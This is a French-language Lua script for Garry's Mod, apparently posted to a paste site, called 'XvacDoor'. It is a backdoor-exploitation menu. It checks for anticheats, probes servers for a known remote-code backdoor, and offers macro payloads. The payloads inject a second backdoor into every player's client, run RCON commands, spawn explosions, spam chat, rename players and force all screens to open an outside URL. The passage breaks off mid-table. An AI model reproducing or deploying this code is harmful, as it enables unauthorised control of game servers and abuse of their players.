· 6 years ago · Dec 09, 2019, 11:50 AM
1
2
3print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
4MsgC (Color(math.random(1,25),math.random(1,25),math.random(1,25)), [[
5
6
7
8
9
10_____ _____ _______ ______ _____ _____ ____________ ____ ____ ___________
11\ \ / / \ | | | / |_ _____\ \_ \ \ ____\_ \__ ____\_ \__ \ \
12 \ | | / | / / /| / \ / /| | \ \ / / \ / / \ \ /\ \
13 \ \ / / |\ \ \ |/ | /\ \ / / /____/| | /\ | / /\ | / /\ | | \_\ |
14 \ | / \ \ \ | | | | | \ | | |____|/ | | | | | | | | | | | | | ___/
15 / | \ \| \| | | \/ \ | | _____ | \/ | | | | | | | | | | \ ____
16 / /|\ \ |\ /| |\ /\ \ |\ \|\ \ / /| | | / /| | | / /| / /\ \/ \
17 |____|/ \|____| | \_______/ | | \_____\ \_____\ | \_____\| | /___________/ | |\ \_____/ | |\ \_____/ | /_____/ |\______|
18 | | | | \ | | / | | | | | | | /____/| | | / | \_____\ | / | \_____\ | / | | | | |
19 |____| |____| \|_____|/ \|_____|\|_____| \|_____| || |___________|/ \ | |___|/ \ | |___|/ |_____|/ \|_____|
20 |____|/ \|____| \|____|
21
22 | Fait par Xeni0 | Menu XvacDoor | Faites "xvd" pour utilisé |
23
24 ]])
25
26print ("\n")
27/*================================
28|===== XvacDoor CHECKERS =====|
29=================================*/
30
31
32if (_G.QAC or _G.CAC) then
33MsgC( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 0, 0 )," Cake Anticheat / Quack Anti Cheat Détecté ! \n" )
34else
35MsgC( Color( 0, 0, 0 ), "[XvacDoor]", Color( 0, 255, 0 )," Cake Anticheat / Quack-Anti-Cheat Non Détecté ! \n" )
36end
37
38
39if (_G.ulx or _G.ulib) then
40MsgC( Color( 0, 0, 0 ), "[XvacDoor]", Color( 0, 255, 0 )," Ulx / Ulib Détecté ! \n" )
41else
42MsgC( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 0, 0 )," Ulx / Ulib Non Détecté ! \n" )
43end
44
45
46if (_G.FAdmin) then
47MsgC( Color( 0, 0, 0 ), "[XvacDoor]", Color( 0, 255, 0 )," DarkRP Détecté ! \n" )
48else
49MsgC( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 0, 0 )," DarkRP Non Détecté ! \n" )
50end
51
52
53if file.Exists("snte_source.lua","LUA") then
54MsgC( Color( 0, 0, 0 ), "[XvacDoor]", Color( 0, 255, 0 )," SNTE Détecté ! \n" )
55end
56
57
58
59
60/*=====================================
61|===== XvacDoor BACKDOOR MENU =====|
62======================================*/
63
64
65
66
67
68local BD = {}
69local h = http
70
71
72BD.Backdoors = BD.Backdoors or {}
73
74BD.BackdoorTypes = {
75
76 ["JS"] = {
77
78 ["Code"] = "util.AddNetworkString( 'JSQuery.Data(Post(false))' ) net.Receive( 'JSQuery.Data(Post(false))', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
79
80 ["Netkey"] = "JSQuery.Data(Post(false))",
81
82 },
83
84}
85
86local netsss = net.Start
87
88function BD.IsMessagePooled( netmessage )
89
90local netfunc = netsss
91
92local status, error = pcall( netfunc, netmessage )
93
94return status
95
96end
97
98
99
100local net = net
101
102
103
104
105local ctxt = chat.AddText
106
107function BD.ChatText( message, col )
108
109 ctxt( Color(0,0,0,255), "[XvacDoor] ", col, message )
110
111end
112
113
114
115function BD.PingBackDoors()
116
117 local bds = {}
118
119 for k, v in pairs(BD.BackdoorTypes) do
120
121 if BD.IsMessagePooled( tostring( v.Netkey ) ) then bds[k] = true end
122
123 end
124
125 return bds
126
127end
128
129concommand.Add("bd_refresh_backdoors", function() BD.Backdoors = BD.PingBackDoors() end)
130
131
132
133function BD.BackdoorActive()
134
135 return table.Count( BD.Backdoors ) > 0
136
137end
138
139
140
141function BD.GetActive()
142
143 if !BD.BackdoorTypes[BD.CurrentBackdoor] then return { ["Code"] = "local x = 69", ["Netkey"] = "" } end
144
145 return BD.BackdoorTypes[BD.CurrentBackdoor]
146
147end
148
149
150
151BD.BDMacros ={
152
153
154
155/*===========================================
156|===== Commandes Sur Tout Les Joueurs =====|
157============================================*/
158
159
160
161
162
163 ["Frappe Orbital Aléatoire"] = {
164
165 ["Type"] = 1,
166
167 ["Code"] = [[if !bombstrike then
168
169 hook.Add("Think", "lulz_bombstrike", function()
170
171 local explode = ents.Create( "env_explosion" )
172
173 local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
174
175 local trc = {}
176
177 trc.start = ps
178
179 trc.endpos = ps + Vector( 0, 0, -99999)
180
181 local tr = util.TraceLine(trc)
182
183 if !tr.Hit then return end
184
185 explode:SetPos( tr.HitPos )
186
187 explode:Spawn()
188
189 explode:SetKeyValue( "iMagnitude", "400" )
190
191 explode:Fire( "Explode", 0, 0 )
192
193 end)
194
195 bombstrike = true
196
197 else
198
199 hook.Remove("Think", "lulz_bombstrike")
200
201 bombstrike = false
202
203 end]],
204
205 ["Desc"] = "Effectuer Des Frappes Orbital",
206
207 },
208
209
210
211
212
213 [" Injecter Backdoor"] = {
214
215 ["Type"] = 1,
216
217 ["Code"] = [[
218
219 util.AddNetworkString( "88Triggered" )
220
221 function BDSendLua( p, str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Send( p ) end
222
223 function BDSendLuaAll( str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Broadcast() end
224
225 function BDInjectAids( p ) p:SendLua( 'net.Receive( "88Triggered", function() RunString( net.ReadString() ) end )' ) end
226
227 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
228
229 hook.Add( "PlayerInitialSpawn", "youonlyget88Triggeredagain", function( p ) BDInjectAids( p ) end)
230
231 ]],
232
233 ["Desc"] = "You need this to use certain macros",
234
235 },
236
237
238
239 ["Annonce Sur L'écran"] = {
240
241 ["Type"] = 1,
242
243 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
244
245 ["Desc"] = "Ecrit un truc au millieu de de l'écran des autres :D",
246
247 ["NeedsParameters"] = 1,
248
249 },
250
251
252
253 ["Spam Chat Multicolore"] = {
254
255 ["Type"] = 1,
256
257 ["Code"] = [[
258
259 if !timer.Exists( "lespamckool" ) then
260
261 timer.Create( "lespamckool", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
262
263 else
264
265 timer.Remove( "lespamckool" )
266
267 end]],
268
269 ["Desc"] = "Spam le chat de manière multicolore, c'est drôle",
270
271 ["NeedsParameters"] = 1,
272
273 },
274
275 ["Changer Le Nom De Tous"] = {
276
277 ["Type"] = 1,
278
279 ["Code"] = [[ for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, @1) v:setDarkRPVar("rpname", @1) end ]],
280
281 ["Desc"] = "Sa va être drôle :)",
282
283 ["NeedsParameters"] = 1,
284
285 },
286
287
288 ["Violent Spam Chat Multicolore"] = {
289
290 ["Type"] = 1,
291
292 ["Code"] = [[
293
294 if !timer.Exists( "wutckoasa" ) then
295
296 timer.Create( "wutckoasa", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
297
298 else
299
300 timer.Remove( "wutckoasa" )
301
302 end]],
303
304 ["Desc"] = "Spam le chat de manière multicolore et très rapidement, c'est très drôle",
305
306 ["NeedsParameters"] = 1,
307
308 },
309
310
311
312 ["Débloquer Les Portes"] = {
313
314 ["Type"] = 1,
315
316 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
317
318 ["Desc"] = "Pas besoin d'expliquer",
319
320 },
321
322
323
324 ["Activer/Desactiver Les Portes"] = {
325
326 ["Type"] = 1,
327
328 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
329
330 ["Desc"] = "Pas besoin d'expliquer",
331
332 },
333
334
335
336 ["Symphony De Verre Cassé"] = {
337
338 ["Type"] = 1,
339
340 ["Code"] = [[
341
342 if !timer.Exists( "A true masterpiece" ) then
343
344 timer.Create( "A true masterpiece", 0.2, 0, function()
345
346 for _, p in pairs(player.GetAll()) do
347
348 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
349
350 end
351
352 end)
353
354 else
355
356 timer.Remove( "A true masterpiece" )
357
358 end]],
359
360 ["Desc"] = "C'est la meilleur symphony qu'on ai vu",
361
362 },
363
364
365
366 ["Yeah Baby"] = {
367
368 ["Type"] = 1,
369
370 ["Code"] = [[
371
372 if !timer.Exists( "porn" ) then
373
374 timer.Create( "porn", 0.3, 0, function()
375
376 for _, p in pairs(player.GetAll()) do
377
378 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
379
380 end
381
382 end)
383
384 else
385
386 timer.Remove( "porn" )
387
388 end]],
389
390 ["Desc"] = "YEAH BABY YEAH",
391
392 },
393
394 ["Bruit D'Impact"] = {
395
396 ["Type"] = 1,
397
398 ["Code"] = [[
399
400 if !timer.Exists( "impakt" ) then
401
402 timer.Create( "impakt", 0.3, 0, function()
403
404 for _, p in pairs(player.GetAll()) do
405
406 p:EmitSound( "physics/body/body_medium_impact_hard1.wav", 100, math.random( 90, 120 ) )
407
408 end
409
410 end)
411
412 else
413
414 timer.Remove( "impakt" )
415
416 end]],
417
418 ["Desc"] = "Ca doit faire mal",
419
420 },
421
422 ["Bruit de Cloche"] = {
423
424 ["Type"] = 1,
425
426 ["Code"] = [[
427
428 if !timer.Exists( "pimpon" ) then
429
430 timer.Create( "pimpon", 0.3, 0, function()
431
432 for _, p in pairs(player.GetAll()) do
433
434 p:EmitSound( "ambient/alarms/warningbell1.wav", 100, math.random( 90, 120 ) )
435
436 end
437
438 end)
439
440 else
441
442 timer.Remove( "pimpon" )
443
444 end]],
445
446 ["Desc"] = "Qu'est ce qui ce passe bordel",
447
448 },
449
450 ["Guerre Civil"] = {
451
452 ["Type"] = 1,
453
454 ["Code"] = [[
455
456 if !timer.Exists( "cwar" ) then
457
458 timer.Create( "cwar", 1, 0, function()
459
460 for _, p in pairs(player.GetAll()) do
461
462 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
463
464 end
465
466 end)
467
468 else
469
470 timer.Remove( "cwar" )
471
472 end]],
473
474 ["Desc"] = "C'est n'importe quoi dans c'te ville",
475
476 },
477
478
479
480 ["Séisme"] = {
481
482 ["Type"] = 1,
483
484 ["Code"] = [[
485
486 if !timer.Exists( "earthquake" ) then
487
488 timer.Create( "earthquake", 0.5, 500, function()
489
490 for _, p in pairs(player.GetAll()) do
491
492 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
493
494 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
495
496 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
497
498 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
499
500 end
501
502
503
504 for _, e in pairs(ents.GetAll()) do
505
506 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
507
508 end
509
510
511
512
513
514 end)
515
516 else
517
518 timer.Remove( "earthquake" )
519
520 end]],
521
522 ["Desc"] = "WOOOOOOOOOOAW ON EST EN CHINE BORDEL",
523
524 },
525
526
527
528 ["Dominer Le Serveur"] = {
529
530 ["Type"] = 1,
531
532 ["Code"] = [[
533
534 hook.Add("PlayerInitialSpawn", "gw_siezed", function( ply ) ply:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "http://lmaoooo.mtxserv.fr/" )') end)
535
536 for k, v in pairs(player.GetAll()) do
537
538 v:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "http://lmaoooo.mtxserv.fr/" )')
539
540 end]],
541
542 ["Desc"] = "Prouve que tu domine se serveur :c",
543
544 },
545
546
547
548 ["Exploser Tout Les Véhicules"] = {
549
550 ["Type"] = 1,
551
552 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
553
554 local explo = ents.Create("env_explosion")
555
556 explo:SetPos(v:GetPos())
557
558 explo:SetKeyValue("iMagnitude", "300")
559
560 explo:Spawn()
561
562 explo:Activate()
563
564 explo:Fire("Explode", "", 0)
565
566 end
567
568 end]],
569
570 ["Desc"] = "Sa va faire boom",
571
572 },
573
574
575
576 ["Commande RCON"] = {
577
578 ["Type"] = 1,
579
580 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
581
582 ["Desc"] = "C'est tant de pouvoir le rcon ;)",
583
584 },
585
586
587
588 ["Lua run"] = {
589
